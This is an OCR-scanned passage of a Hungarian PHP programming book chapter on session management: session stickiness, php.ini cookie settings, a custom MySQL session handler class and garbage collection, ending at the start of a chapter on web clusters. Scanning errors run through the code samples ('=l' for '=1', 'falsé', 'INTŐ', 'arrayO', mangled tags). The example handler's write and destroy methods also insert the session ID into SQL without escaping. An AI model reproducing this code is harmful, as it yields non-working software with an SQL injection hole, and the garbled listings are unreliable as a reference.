<?php include_once 'cs_sessions.inc'; cs_session_read(); $MY_SESSION [ ' count' ] ++; cs_session_write(); ?> You have visited this page <?= $MY_SESSION['count'] ?> times.

Kiszolgáló oldali munkamenetek
Ha elosztott környezetben működő kiszolgáló oldali munkamenet-kezelő rendszert készítünk, fontos, hogy biztosítsuk, hogy a kérelmet fogadó gép hozzájusson a munkamenet adataihoz. Visszatérve orvosi adatokkal kapcsolatos példánkhoz, a kiszolgáló oldali, vagyis irodai megvalósítás esetében két lehetőségünk van: Odavihetjük a felhasználót az adatokhoz, illetve az adatokat a felhasználóhoz. Ha nem rendelkezünk központosított tárolóval, meg kell követelnünk, hogy a felhasználó mindig ugyanahhoz a kiszolgálóhoz térjen vissza. Ez az orvosi példában azt jelenti, hogy a betegnek mindig ugyanazt a doktort kell felkeresnie. Ez a rendszer jól működik kisvárosi orvosi rendelők vagy egykiszolgálós rendszerek esetében, de nehezen méretezhető, és használhatatlanná válik, ha több helyen kell kiszolgálni az embereket. Több orvosi rendelő kezelésére a betegek adatait nyilvántartó központi adatbázisokat hoznak létre, melyekben az orvosok elérhetik és frissíthetik a betegek bejegyzéseit. A terheléselosztás területén ismeretes a munkamenetek ragadósságának (session stickiness) fogalma, ami annak biztosítását jelenti, hogy adott felhasználó mindig ugyanahhoz a kiszolgálóhoz kerül. A munkamenet ragadósságát számos hardveres megoldással megvalósíthatjuk (szinte minden 7-es szintű vagy tartalomváltó hardveres terheléskiegyenlítő támogatja ezt a lehetőséget), de programozástechnikai megoldásokat is alkalmazhatunk (ilyen például az Apache mod_backhand modulja). Persze az, hogy valamit megtehetünk, nem jelenti azt, hogy valóban meg is kell tennünk. A munkamenetek ragadóssága javíthatja a gyorstárak hatékonyságát, ezért meglehetősen sok alkalmazás komolyan épít ene a tulajdonságra. Sajnos ez nem szerencsés megoldás, ugyanis több szempontból is sérülékenyebbé teszi az alkalmazást: • Romló erőforrás-, illetve terheléskiegyenlítés - Az erőforrások használatának kiegyenlítése nehéz feladat. Minden terheléselosztónak megvan a maga módszere, annyi azonban közös bennük, hogy a kérelem útvonalának meghatározásához az aktuális terhelési adatokat használják fel. Ha megköveteljük a munkamenetek ragadósságát, gyakorlatilag erőforrásokat kötünk le az örökkévalóságig egyes munkamenetek

384

PHP fejlesztés felsőfokon számára. Ez gyengébb terheléskiegyenlítéshez vezethet, és lehetetlenné teheti számos olyan „okos" algoritmus működését, ami terheléskiegyenlítés segítségével osztja el a kérelmeket. • Nagyobb a meghibásodás lehetősége - Vegyük a következő fejtörőt: ha egyébként minden feltétel megegyezik, melyik biztonságosabb - egy kétmotoros gép, melynek a repüléshez mindkét motorra szüksége van, vagy egy egymotoros? Természetesen az utóbbi, hiszen annak valószínűsége, hogy kettőből egy motor meghibásodik nagyobb, mint az, hogy egyből egy romoljon el. (Ha jobban szeretünk dobókockában gondolkodni, annak valószínűsége, hogy hatost dobunk nagyobb, ha két kockával játszunk, mintha eggyel.) Hasonlóképpen egy elosztott rendszer, ami működésképtelenné válik, ha az egyik csomópontja meghibásodik, rosszul megtervezett. Olyan rendszerek megalkotására kell törekednünk, amelyek mindaddig működőképesek, míg akár egyetlen csomópontjuk is kitart. (A repülőgépek példájával élve: egy olyan kétmotoros gép, amelynek csak egy motorra van szüksége a repüléshez, biztonságosabb, mint egy egymotoros.) Annak biztosítása, hogy az ügyfél adatai mindenhol elérhetők legyenek, ahol szükség van rájuk, egy alapvető hátránnyal jár: igen sok erőforrást használ fel. A munkameneti gyorstárak természetüknél fogva jobbára kérelmenként frissülnek, így egy olyan rendszerben, ahol másodpercenként 100 kérelem érkezik be, megfelelő tárolási módszerre is szükség van. 100 frissítés és kiolvasás másodpercenként nem jelenthet gondot a legtöbb korszerű adatbázis-kezelő számára, de ha ezt a számot 1000-re növeljük, sokuk már nem tud megbirkózni a feladattal. Még ha többszörözést is használunk e megoldásoknál, akkor sem nyerünk túl sokat a méretezhetőség terén, mivel az adattorlódást valójában a munkamenetek frissítése, nem pedig kiolvasása okozza - és mint a korábbiakban megtanulhattuk, a beillesztési és frissítési műveletek többszörözése sokkal nehezebb, mint a kiolvasási műveletek elosztása. Ez persze nem kell, hogy elvegye kedvünket az adatbázis hátterű munkamenetektől. Számos alkalmazás valószínűleg nem is nő olyan méretűre, hogy ez gondot jelenthetne, és felesleges valamilyen nem méretezhető megoldást elutasítanunk, ha egyébként nincs szándékunkban növelni. Jó, ha tudunk ezekről a lehetőségekről, így nyugodtan programozhatunk az esetleges korlátozások szem előtt tartásával.

PHP munkamenetek - találjuk-e fel újra a kereket? E fejezet írása során, bevallom, sokszor elgondolkoztam azon, hogy az egyéni munkamenet-kezelésre összpontosítsak vagy a PHP munkameneti bővítményére. Jómagam nem látok semmi kivetnivalót a kerék újrafeltalálásában (az önképzés álcája mögé bújva) - sokszor szívesebben választom ezt a módszert az előre elkészített megoldások használatával szemben. A lehetőségeknek két csoportja létezik - az egyiket szívesen valósítom meg magam, míg a másikba tartozókat inkább rábízom a nagy fejlesztőcégekre. A munkamenetek éppen e két csoport határán találhatók. A PHP munkamenetek igen sokoldalúan használhatók, és bár az alapértelmezett munkamenet-kezelők nem elégítik ki minden igényemet, a saját kezelők írásának lehetősége orvosság lehet a legtöbb gondra.

14. fejezet • Munkamenetek kezelése

385

A következőkben a PHP könnyűsúlyú munkamenetekre alkalmazható munkameneti bővítményével foglalkozunk. Kezdjük az alapokkal! A munkamenet-azonosító nyomon követése A munkamenet azonosítójának nyomon követése során mindenekelőtt meg kell határoznunk a kérelem kiadóját. Ha meglátogatjuk orvosunkat, természetesen meg kell mutatnunk társadalombiztosítási azonosítónkat, hiszen csak ennek ismeretében férhet hozzá kórtörténeti adatainkhoz. Hasonlóképpen, csak a munkamenet azonosítójának átadása után juthatunk hozzá a munkamenet adataihoz a PHP-ben. Amint a 13. fejezetben is megjegyeztük, a munkamenetek eltérítésének lehetőségét mindig szem előtt kell tartanunk. Mivel a munkameneti bővítményt úgy készítették el, hogy képes legyen mindenféle hitelesítési rendszertől függetlenül működni, véletlenszerű munkamenet-azonosítókat készít az eltérítési kísérletek megelőzésére.
Beépített módszerek a munkameneti azonosítók követésére

A munkameneti bővítmény beépítetten kétféle módszert támogat a munkameneti azonosító átvitelére: • a sütik használatát, • a lekérdezési karakterláncok csatolását. A sütik alkalmazása esetén a munkameneti azonosítóhoz egy külön sutit készítenek. Ennek neve alapértelmezés szerint PHPSESSIONID, típusát tekintve pedig munkameneti süti (ez azt jelenti, hogy lejárati ideje 0, vagyis ha a böngészőt kikapcsolják, automatikusan megsemmisül). A sütik támogatását a php. ini állomány következő beállításával érhetjük el (alapállapotban bekapcsolt): session.use_cookies=l A lekérdezési karakterlánc csatolásánál a rendszer a dokumentumban található címkékhez automatikusan nevesített változókat rendel. A lekérdezések csatolása alapállapotban kikapcsolt, de ezt megváltoztathatjuk, ha alkalmazzuk a következő beállítást a php. ini fájlban: session.use_trans_sid=l Ez esetben a trans_sid az angol „transparent session ID", vagyis rejtett munkamenetazonosító név rövidítéseként szerepel, mivel bekapcsolása esetén a rendszer automatikusan átírja a címkéket. így például, ha bekapcsoljuk a use_trans_id beállítást, az alábbi kódrészletből <?php session_start(); ?> <a href="/foo.php">Foo</a> ez lesz: <a href="/foo.php?PHPSESSIONID=12345">foo</a>

386

PHP fejlesztés felsőfokon

A munkamenet-azonosítók süti alapú követése több okból is jobb módszer, mint a lekérdezési karakterláncok csatolása. Ezekről már a 13. fejezetben is szót ejtettünk: • Biztonság - Könnyen előfordulhat, hogy egy felhasználó véletlenül elküld egy barátjának egy URL-t munkamenetének aktuális azonosítójával, ami a munkamenet szándékolatlan eltérítéséhez vezethet. Előfordulhatnak olyan támadások is, amelyek hasonló módszerekkel ráveszik a felhasználót, hogy egy hamis munkamenetazonosítót hitelesítsen. • Esztétikusság - Újabb paraméter hozzáadása a lekérdezési karakterlánchoz meglehetősen csúnya, vad kinézetű URL-eket eredményez. Akár sütikkel, akár lekérdezésekkel állítjuk be a munkamenetek azonosítóit, nevüket a php. ini állomány session. name paraméterében adhatjuk meg. így ha például a PHPSESSIONID helyett a MYSESSIONID nevet szeretnénk alkalmazni a süti esetében, az alábbiakkal célt érhetünk:
session.name=MYSESSIONID

Léteznek persze emellett más paraméterek is, melyeknek nagy hasznát vesszük a süti alapú munkamenet-kezelés beállításában: • session.cookie_lifetime - Alapállapotban értéke 0 (vagyis tiszta munkameneti süti). Amennyiben 0-tól eltérő értékre állítjuk, lehetővé tehetjük, hogy a munkamenetek még azelőtt elavulhassanak, hogy a böngészőt bezárnánk (ami nagyszerű szolgálatot tehet a munkamenetek időzített megsemmisítésében), illetve olyan munkameneteket is alkalmazhatunk, amelyek több böngészőben is jelen vannak. (Mindazonáltal e téren igen óvatosnak kell lennünk, mind az adatbiztonság, mind az adattárolók használata szempontjából.) • session.cookie_path - Beállítja a süti útvonalát, értéke alapállapotban /. • session. cookie_domain - Beállítja a süti tartományát. Alapállapotban "", ami a tartományt az ügyfélböngésző által kérelmezett gépnévben határozza meg. • session.cookie_secure - Alapállapotban falsé. Meghatározza, hogy a süti kizárólag SSL munkamenetekben legyen-e átküldhető. Ez lehetőséget ad annak megakadályozására, hogy illetéktelenek kiolvashassák munkamenet-azonosítónkat, még a hálózati kapcsolat lehallgatása esetén is. Természetesen mindez csak akkor hatékony, ha a süti tartományának teljes forgalma SSL kapcsolatokon keresztül folyik. Hasonlóképpen, az alábbi paraméterek hasznosak lehetnek a lekérdezési karakterláncok használata esetén: • session.use_only_cookies - Meggátolja a munkamenet-azonosító kiolvasását a lekérdezési karakterláncból. Ezt a kiegészítő biztonsági paramétert akkor kell beállítanunk, ha a use_trans_sid értéke falsé.

14. fejezet • Munkamenetek kezelése

387

• url_rewriter.tags - Alapértelmezésben értéke a=href, frame=src, input = src, f orm=fakeentry. Beállítja azokat a címkéket, amelyeket a rendszer automatikusan átír a munkamenet paramétereire ha a use_trans_sid értéke true. így például, ha azt szeretnénk, hogy a munkamenet-azonosítókat a képekkel is átküldjék, adjuk az img=src kódot az átírandó címkék listájához.

A PHP munkamenetek alapjai
Ha egyszerű munkameneteket szeretnénk használni programunkban, előkészítésükhöz egyszerűen meghívhatjuk a session_start () függvényt, majd kulcs-érték párokat írhatunk a $_SESSION autoglobális tömbbe. Az alábbi rövid kódrészlet egy munkamenetet készít, ami megszámolja és megjeleníti látogatásaink számát egy oldalon. Az alapértelmezett munkameneti beállításoknál a rendszer süti segítségével viszi át a munkameneti adatokat, és visszaáll eredeti állapotába, ha a böngészőt kikapcsolják. Lássuk hát a kódot, ami a látogató adott oldalra lépéseit számolja: <?php session_start(); if(isset($_SESSION['viewnum'])) { $_SESSION['viewnum' ] ++; } else { $_SESSION['viewnum'] = 1;
} ?>

<html> <body> Hello There.<br> This is <?= $_SESSION['viewnum'] ?> times you have seen a page on this site.<br> </boűy> </html> A munkamenet előkészítését a session_start () végzi, beolvasva a munkamenet-azonosítót egy sütin vagy lekérdezési paraméteren keresztül. A session_start () függvény hívásakor a rendszer eléri az adott munkamenethez tárolt adatokat, és a korábbi kérelmeknél beállított $_SESSION változókat újra feltölti értékeikkel. Ha a $_SESSION tömbbe írunk, a rendszer megjelöli a változót, melyet a kérelem végén tárol a munkamenethez tartozó tárolási módszernek megfelelően. Ha még a kérelem teljesítése előtt tárolni szeretnénk a munkamenet adatait, ezt a session_write_close () tagfüggvény hívásával tehetjük meg. Ezt az is ésszerűvé teszi, hogy a beépített munkamenet-kezelők az adatépség megtartása érdekében zárolást alkalmaznak a munkameneti tároló elérése közben. Ha munkameneteinket egyetlen

388

PHP fejlesztés felsőfokon

oldal több keretében használjuk, a felhasználó böngészője ugyan párhuzamosan kívánja azokat elérni, de a zárolások ezt nem teszik lehetővé - így azokat a kereteket, amelyekben munkameneteket alkalmazunk, a rendszer sorban, egymás után tölti be és frissíti. Előfordulhat az is, hogy végképp le akarunk zárni egy munkamenetet. Például egy bevásárlókocsi-kezelő alkalmazásnál, ami több munkameneti változó segítségével követi nyomon a kocsi tartalmát, a felhasználó kijelentkezése után ki kell ürítenünk a kocsit, és meg kell semmisítenünk a munkamenetet. Mindezt az alapértelmezett kezelőkkel két lépésben tehetjük meg: // a $_SESSION változók kiürítése $_SESSION = array(); // a munkameneti háttértár kiürítése session_destroy();

A két művelet sorrendje nem lényeges, de mindkettőt végre kell hajtanunk. A session_destroy () kiüríti ugyan a munkameneti háttértárat, de ha nem távolítjuk el a $_SESSION változó tartalmát, a kérelem végeztével a rendszer újra beírja az adatokat a háttértárba. Minden bizonnyal észrevettük, hogy még egy szót sem szóltunk arról, miként kezeli a munkameneteket maga a PHP. A 9-, 10. és 11. fejezetekben láthattuk, hogy egy elegendően nagy adatforgalmú alkalmazásban nem nehéz megtölteni egy bármekkora gyorstárat. A munkamenetek sem mentesek az ilyesfajta gondoktól, így hát az esetükben is szükség van valamilyen tisztogató módszerre. A munkameneti bővítmény fejlesztői a valószínűségi megközelítést választották a szemétgyűjtéshez. A belső szemétgyűjtő eljárások hívásának adott valószínűsége van minden egyes kérelem esetében. Ezt a valószínűséget az alábbi php. ini beállítással adhatjuk meg: // 1%-ra állítja a szemétgyűjtés valószínűségét adott kérelem esetében session.gc_probability=l A szemétgyűjtőnek a hatékony eltávolításhoz persze ismernie kell a munkamenet korát. Az itt alkalmazott „korhatárt" is egy php. ini beállítással adhatjuk meg (alapértelmezett értéke 1440 másodperc, vagyis 24 perc): // a munkamenetek 15 perc session.gc_maxlifetime=900 ( 9 0 0 másodperc) elteltével begyűjthetők

A 14.1. ábrán láthatjuk, miként viselkedik a munkameneti bővítmény egy általános helyzetben. A munkamenet-kezelő elindul, előkészíti az adatokat, végrehajtja a szemétgyűjtést és beolvassa a felhasználó munkameneti adatait. Ezt követően a rendszer végrehajtja az

14. fejezet • Munkamenetek kezelése

389

oldalon a session_start () után álló kódot. A program felhasználhatja, illetve módosíthatja a $_SESSION tömb tartalmát. Amikor a munkamenet véget ér, az adatok lemezre kerülnek, és a rendszer kiüríti a munkameneti bővítmény belső változóit.

14.1. ábra

A munkamenet-kezelő működése.

Saját munkamenet-kezelő módszerek
Felesleges volna túl sok időt egy olyan hitelesítési rendszer fejlesztésével tölteni, amelyet nem tudunk munkamenet-kezelőnk adatforgalmával összehangolni. Szerencsére a munkameneti bővítmény rendelkezésünkre bocsátja a session_id függvényt, mellyel saját munkamenet-azonosítókat készíthetünk, vagyis megtalálhatjuk a kapcsolatot hitelesítési rendszerünkkel. Ha a felhasználókat össze kívánjuk kötni a munkamenetekkel, egyszerűen használhatjuk felhasználóazonosítójukat munkameneti azonosítóként. Altalános esetben ez nem igazán jó módszer, hiszen munkamenet-azonosítónk így meglehetősen könnyen kitalálható. Mindazonáltal ez esetben soha nem adjuk át vagy olvassuk be ezt az azonosítót szöveges sütikből, hiszen a hitelesítési sütiből érjük el. A 13. fejezetben megismert hitelesítési példa bővítéseként a látogatásszámlálót az alábbiak szerint módosíthatjuk: try { $cookie = new Cookie();

390

PHP fejlesztés felsőfokon

$cookie->validate(); session_id($cookie->userid); session_start();
}

catch (AuthException $e) { header("Location: /login.php?originating_uri=$_SERVER['REQUEST_URI']"); exit;
}

if(isset($_SESSION['viewnum'])) { $_SESSION['viewnum']+ + ; } else { $_SESSION['viewnum'] = 1; } ?> <html> <body> Hello There.<br> This is <?= $_SESSION['viewnum'] »» this site.<br> </body> </html>

?> times you have seen a page on

Figyeljük meg, hogy itt a munkamenet-azonosítót még azelőtt beállítjuk, hogy meghívnánk a session_start () függvényt. Erre szükség van a munkameneti bővítmény helyes működéséhez. Példánk jelenlegi állapotában felhasználónk azonosítója egy sütiben (illetve lekérdezési karakterláncban) kerül a válaszba. Ennek elkerülésére le kell tiltanunk mind a sütik használatát, mind a lekérdezési karakterláncok csatolását a php. ini állományban:
session.use_cookies=0 session.use_trans_sid=0

Emellett pedig (még akkor is, ha magunk állítjuk be a munkamenet-azonosítót) az alábbi sorra is szükség lesz:
session.use_only_cookies=l

A fenti beállítások lehetetlenné teszik a munkameneti bővítmény minden olyan műveletét, amely a munkamenet azonosítóját az ügyfél böngészőjéhez továbbítaná. Ehelyett inkább hitelesítési sütik használatára támaszkodunk. Ha lehetővé szeretnénk tenni, hogy egy felhasználóhoz több munkamenet is tartozhasson, csak egy újabb tulajdonságot kell elhelyeznünk a hitelesítési sütiben, melyet minden

14. fejezet • Munkamenetek kezelése

391

új munkamenet kezdetén (például hitelesítéskor) beállíthatunk. A felhasználónkénti több munkamenet engedélyezése jól jöhet megosztva használt azonosítók esetén, egyébként viszont a két felhasználó tevékenykedései összekeveredhetnek.

Megjegyzés

Jóllehet mindezt a 13. fejezetben részletesen tárgyaltuk, sosem árt megismételni: hacsak nem vagyunk teljes mértékben meggyőződve arról, hogy munkameneteinket nem lehet eltéríteni, illetve feltörni, mindig ügyelnünk kell adataik hatékony titkosítására. Csak vesztegetjük az időnket, ha sütink adatain a R0T13-at használjuk. Valamilyen jól bevált szimmetrikus titkosítót - mint a Triple DES, az AES vagy a Blowfish - kell alkalmaznunk. Ez nem üldözési mánia - a józan ész is ezt diktálja.

Megismerkedtünk tehát a munkamenetek használatával - most ejtsünk néhány szót kezelőikről is, melyek a megvalósításukért felelnek. A munkameneti bővítmény lényegében a háttértárolók körüli burkoló függvényekből áll. A választott tárolási módszer nem befolyásolja azt, hogyan készítsük el kódunkat, de annál inkább hatással van arra, miként alkalmazhatjuk ezt a kódot különböző rendszerekben. Az alkalmazni kívánt munkamenetkezelőt a php. ini alábbi beállításával adhatjuk meg: session.save_handler='files' A PHP-ben két készen kapott munkamenet-kezelőt találhatunk: • f iles - Ez az alapértelmezett kezelő, amely az egyes munkamenetek tárolásához különböző fájlokat használ. • mm - Ez a kezelő BSD osztott memóriát használ - csak akkor alkalmazhatjuk, ha telepítettük a libmm-et, és a PHP-t a -with-mm kapcsolóval építettük fel. Hasonló módszerekkel már találkozhattunk a 9., 10. és 11. fejezetekben. Ezek nagyszerűen működnek, ha egy gépet használunk, de teljesítményük romlik, ha fürtökön futtatjuk őket. Persze, hacsak nem valamilyen egyszerű összeállítással dolgozunk, valószínűleg nem fogunk kizárólag a beépített kezelőkre hagyatkozni. Szerencsére rendelkezésünkre állnak horgok a user_space munkemenet-kezelőhöz, ami lehetővé teszi, hogy megvalósítsuk saját munkameneti tárolófüggvényeinket a PHP-ben. Beállításukra a session_set_save_handler ad lehetőséget, Ha elosztott munkameneteket szeretnénk alkalmazni, amelyek nem épülnek ragadós kapcsolatokra, magunknak kell megvalósítanunk őket. A felhasználói munkamenet-kezelők a következő hat egyszerű tárolási művelet hívásaira épülnek: • open • close • reád

392

PHP fejlesztés felsőfokon

• write • destroy
• gc Megvalósíthatunk például egy MySQL hátterű munkamenet-kezelőt, ami lehetővé teszi számunkra, hogy több gépről összehangoltan érjük el egy adott munkamenet adatait. A tábla szerkezete igen egyszerű. A munkamenet adatait a session_id kulcs azonosítja, a $_SESSION sorosított tartalma a session_data-ba kerül. A CLOB (nagyméretű karakteres objektum) típusú text mezőt tetszőleges méretű munkameneti adat tárolására felhasználhatjuk. A modtime a munkamenetek módosításainak követésére szolgál, így sokban segíti a szemétgyűjtést.

14.2. ábra

A 14.1. ábra új változatában láthatjuk, milyen szerepet kapnak az egyes hívások a munkamenet életében.

14. fejezet • Munkamenetek kezelese

393

A rendezettség kedvéért saját munkamenet-kezelőinket egy MySession nevű osztályban helyezhetjük el: class MySession { static $dbh; A MySession: : open megnyitja a munkamenetet. E függvényt úgy kell elkészítenünk, hogy két paramétert ($save_path és $session_name) fogadjon. A $save_path a php. ini állomány session. save_path paraméterének felel meg. A f iles kezelő esetében ez a munkameneti adatok tárolásának gyökérkönyvtára. Saját kezelőnkben beállíthatjuk úgy, hogy a helyi jellemzőknek megfelelő tárolási adatokat állítson be. A $session_name a munkamenet neve (amint ezt a php. ini session. session_name paramétere megadja). Amennyiben több, névvel ellátott munkamenetet tartunk fenn különböző hierarchiákban, ez igen hasznos lehet. Példánkban most egyikükkel sem törődünk, így egyszerűen figyelmen kívül hagyhatjuk az átadott paramétereket, és megnyithatunk egy leírót az adatbázishoz, melyet későbbi használatra tárolhatunk. Figyeljük meg, hogy mivel az open tagfüggvényt a session_start () függvényben még a sütik elküldése előtt meghívtuk, nem készíthetünk semmiféle kimenetet a böngésző számára, ha csak nem alkalmazunk kimenettárolást. Ha mindennel végeztünk, a true értékkel térünk vissza, jelezve a munkameneti bővítmény felé, hogy az open függvény helyesen működött: function open($save_path, $session_name) { MySession: :$dbh = new DB_MySQL_Test() ; return(true);
}

Ha a kérelemmel elkészültünk, és kiírtuk az adatokat, meghívjuk a MySession: : close tagfüggvényt a munkamenet-kezelő bezárására. Mivel azonban most maradandó adatbázis-kapcsolatokat alkalmazunk, erre nincs szükség. Ha saját fájl alapú megoldást vagy más, nem maradandó erőforrást alkalmazunk, meg kell győződnünk róla, hogy minden általunk használt erőforrást bezártunk. Végezetül a true értékkel jelezzük a munkameneti bővítménynek, hogy függvényünk sikeresen befejezte teendőit: function close() { return(true);
}

A MySession: : reád az első tagfüggvény, ami valódi munkát végez. Megkeressük a munkamenetet a $id segítségével, és visszatérünk az eredményként kapott adatokkal. Ha megtekintjük, milyen adatokat is olvasunk, a session_data tartalmát valahogy így látjuk viszont:
countIi:5 ;

394

PHP fejlesztés felsőfokon

Ez meglehetősen ismerős lehet mindazok számára, akik használták már a serialize() és az unserialize () függvényeket. A kapott adatok úgy festenek, mintha az alábbi kódrészlet kimenetét látnánk: <?php $count = 5; print serialize($count) ; ?> > php ser.php i:5; Ez persze nem véletlen egybeesés: A munkameneti bővítmény ugyanazt a sorosító eljárást alkalmazza, mint a serialize és a deserialize. Ha kiválasztottuk a munkameneti adatokat, sorosított alakban visszaadhatjuk azokat. A visszaalakítást és a $_SESSION újrafeltöltését maga a munkameneti bővítmény kezeli majd: function read($id) { $result = MySession::$dbh->prepare("SELECT session_data FROM sessions WHEREsession_id = :1")->execute($i d); $row = $result->fetch_assoc(); return $row['session_data'];
}

AMySession: :write függvény a MySession: :read párja. Paraméterként a munkamenet azonosítóját ($id) és adatait ($sess_data) fogadja, és az utóbbiak háttértárba írásáért felel. Hasonlóképpen a reád függvényhez, itt is egy sorosított adatokat tartalmazó karakterláncot kapunk. Fontos, hogy frissítsük a módosítás idejét, így könnyen megszabadulhatunk majd az üresjáratú munkamenetektől: function write($id, $sess_data) { $clean_data = mysql_escape_string($sess_data); MySession::$dbh->execute("REPLACE INTŐ sessions (session_id, session_data, modtime) VALUESt'$id', '$clean_data', n o w ( ) ) " ) ;

AMySession: :destroy függvényt a session_destroy () használata esetén hívjuk meg. Segítségével egyszerűen kiüríthetjük az egyes munkameneteket, eltávolítva adataikat a háttértárból. Jóllehet ez eltér a beépített kezelőktől, szükség van a $_SESSION tartalma-

14. fejezet * Munkamenetek kezelése

395

nak kiürítésére is. Akár a megsemmisítő függvényben, akár utána tesszük ezt meg, mindenképpen létfontosságú lépés, hiszen csak így kerülhetjük el, hogy a munkamenetek automatikusan újraképződjenek. íme egy egyszerű megsemmisítő függvény: function destroy($id) { MySession::$dbh->execute("DELETE FROM sessions WHERE session_id = $_SESSION = arrayO; }

'$i d' " );

Végezetül foglalkozzunk a szemétgyűjtést végző MySession: : gc függvénnyel. Meg kell adnunk számára a munkamenet másodpercben mért élettartamát, amely a php. ini session. gc_maxlif etime paraméterének felel meg. Amint a korábbi fejezetekben láthattuk, az intelligens és hatékony szemétgyűjtés nem egyszerű feladat. A következőkben kissé körülnézünk a különböző szemétgyűjtési módszerek körében. Most azonban csak egy egyszerű függvényt mutatunk be e célra, amely mindössze annyit tesz, hogy eltávolítja a $maxlif etime másodpercnél régebbi munkameneteket: function gc($maxlifetime) { $ts = time() - $maxlifetime; MySession::$dbh->execute("DELETE FROM sessions WHERE modtime < from_unixtimestamp($ts)");
} }

Szemétgyűjtés
A szemétgyűjtés valóban nehéz feladat. A túlzottan erélyes szemétgyűjtési módszerek sok erőfonást emészthetnek fel, a túl gyengék esetében pedig hamar megtelhet a gyorstár. Amint a korábbiakban láthattuk, a munkameneti bővítmény a szemétgyűjtést a save_handlers gc függvény gyakori hívásával oldja meg. Egy egyszerű valószínűségi algoritmus segít abban, hogy a felesleges munkameneteket - még a fiatalokat is - begyűjtsük. A php. ini fájlban ehhez beállíthatjuk a session. gc_probability paramétert. A session_start () hívásakor a rendszer egy 0 és session.gc_dividend (alapállapotban 100) közti véletlen számot hoz létre, és amennyiben ez kisebb, mint a gc_probability, meghívja a telepített mentéskezelő szemétgyűjtő függvényét, így ha a session. gc_probability értéke 1, szemétgyűjtésre a kérelmek 1%-ában kerül sor - vagyis nagyjából 100 kérelmenként egyszer.

396

PHP fejlesztés felsőfokon Szemétgyűjtés a files kezelőben

Nagyobb forgalmú alkalmazások esetében a files munkamenet-kezelő szemétgyűjtési módszere jelentős adattorlódást okozhat. Ez a C-ben megvalósított függvény alapjában véve így fest: function files_gc_collection($cachedir, $maxlifetime)
{

$now = time(); $dir = opendir($cachedir) ; while(($file = readdir($dir)) !== falsé) { if(strncmp("sess_", $file, 5)) { continue; } if($now - filemtime($cachedir."/".$file) > $maxlifetime) { unlink($cachedir."/".$file),} } }

A gondot az okozza, hogy számos ki-, illetve bemeneti műveletet kell végeznünk a gyorstár könyvtárán. E könyvtár gyakori átnézése pedig komoly versenyt eredményezhet a különböző folyamatok között. Az egyik megoldás ennek elkerülésére, ha teljesen kikapcsoljuk a munkameneti bővítmény szemétgyűjtési eljárását (a session.gc_probability = 0 beállítással), és egy ütemezett feladat segítségével (mint a korábbi függvény) teljességgel aszinkron módon végezzük a takarítást.
Szemétgyűjtés az mm kezelőben

A files kezelő szemétgyűjtési módszerével szemben az mm kezelőé meglehetősen gyors. Mivel minden adat az osztott memóriában található, egyszerűen zárolni kell a memóriaszegmenst, visszaírni a munkamenet aktuális adatait a memóriába, az elavultakat pedig törölni.
Szemétgyűjtés a MySession kezelőben

Kérdés, hogy a MySession kezelő szemétgyűjtési eljárása miként viszonyul a files és az mm kezelőkéhez. Azt kell megállapítanunk, hogy sajnálatos módon ugyanazoktól a gondoktól szenved, mint a files kezelő - sőt, talán ezek a gondok itt még súlyosabbak is. A MySQL-nek a törlési műveletekhez kizárólagos táblazárolásra van szüksége. Ez nagy adatforgalom esetén komoly versenyhelyzetet teremthet, amint több folyamat egyszerre kívánja gondozni munkameneti tárolóját, míg mások olvasni és frissíteni szeretnék munkameneti adataikat. Szerencsére a files kezelőben alkalmazott megoldás itt is ugyanúgy használható - kikapcsolhatjuk a beépített szemétgyűjtés-indítást, és a takarítást ütemezett feladatként valósíthatjuk meg.

14. fejezet • Munkamenetek kezelése

397

Ügyfél vagy kiszolgáló oldali munkamenetek - melyiket válasszuk?
Jómagam általánosságban az ügyfél oldali munkamenetek mellett vagyok, amennyiben a bennük tárolt adatmennyiség viszonylag kicsi. A „viszonylag" számomra nagyjából 1 KB-ot jelent. E méret alatt az ügyfél kérelme jó eséllyel belefér egyetlen hálózati csomagba (ez ugyanis nagy valószínűséggel alatta van az útvonal legnagyobb átvitt egysége méretének). Ha a HTTP kérelmet egyetlen csomagba helyezhetjük, nincs szükség tördelésre, ami csökkenti a hálózati késleltetést. Ha kiszolgáló oldali munkamenet-kezelést választunk, fontos, hogy behatóan ismerjük az adatolvasási, illetve -frissítési műveletek mennyiségét. Könnyű túlterhelnünk egy adatbázis hátterű munkamenet-kezelő rendszert egy nagyforgalmú webhelyen. Ha ilyen rendszer használata mellett döntünk, legyünk nagyon körültekintőek - csak akkor frissítsük a munkamenetek adatait, ha erre valóban szükség van.

Saját beépített munkamenet-kezelők megvalósítása
Ha ki szeretnénk használni a munkamenetek által biztosított lehetőségeket, de aggaszt a felhasználói kód futtatásának a teljesítményre gyakorolt hatása, meglepően könnyen elkészíthetjük C nyelven saját munkamenet-kezelőnket. Minderről bővebben a 22. fejezetben szólunk.

Elosztott környezet kiépítése
Az eddigiekben a webes fürtök témakörét kerülgettük, mint macska a forró kását. Alkalmazásaink azzal a hallgatólagos feltételezéssel éltek, hogy egyetlen webkiszolgálót használunk a tartalom szolgáltatására. A megismert módszerek sok esetben nagyszerűen működnek akkor is, ha több gépen alkalmazzuk őket. Néhány módszer esetében figyelembe vettük a fürtöket is, de az, hogy hogyan és miért készítsünk webes fürtöket, még nem vált központi témakörünkké. Most végre pótoljuk ezeket a hiányosságokat.

Mi is az a fürt?
Fürtnek olyan gépek csoportját nevezzük, melyeket azonos célra alkalmazunk. Hasonlóképpen, egy alkalmazás, illetve szolgáltatás fürtözött, ha bármelyik részét egynél több kiszolgáló támogatja. A 15.1. ábrán látható összeállítás - bár több gép szerepel rajta - nem felel meg ennek a meghatározásnak, mivel minden gép egyedi szereppel rendelkezik, melyet egyetlen társa sem tölthet be. A 15.2. ábrán viszont egy egyszerű fürtözött szolgáltatást találunk. Itt két felületi (front-end) gép látható, melyek terhelését forgató DNS (round-robin DNS) egyenlíti ki. Mindkét webkiszolgáló azonos tartalmat szolgáltat. Annak, hogy egy webhelyét egynél több webkiszolgálóra építsünk, általában véve két oka lehet: • Redundancia - Ha webhelyünk létfontosságú célt szolgál, és még egy rövid kimaradás sem engedhető meg, több webkiszolgálót kell alkalmaznunk. Nem számít, milyen drága eszközöket vásárolunk, egyszer minden meghibásodik, cserére szorul, vagy fizikai karbantartásra lesz szüksége. Murphy törvénye ugyanúgy vagy talán még inkább érvényes az informatikára, mint az élet más területeire, így biztosak lehetünk benne, hogy a váratlan meghibásodások a lehető legkellemetlenebb időpontban következnek be. Ha szolgáltatásunk különösen magas készenléti követelményekkel bír, előfordulhat, hogy nemcsak több kiszolgálóra, hanem több sávszélesség-szolgáltatóra is szükségünk lesz, sőt akár külön 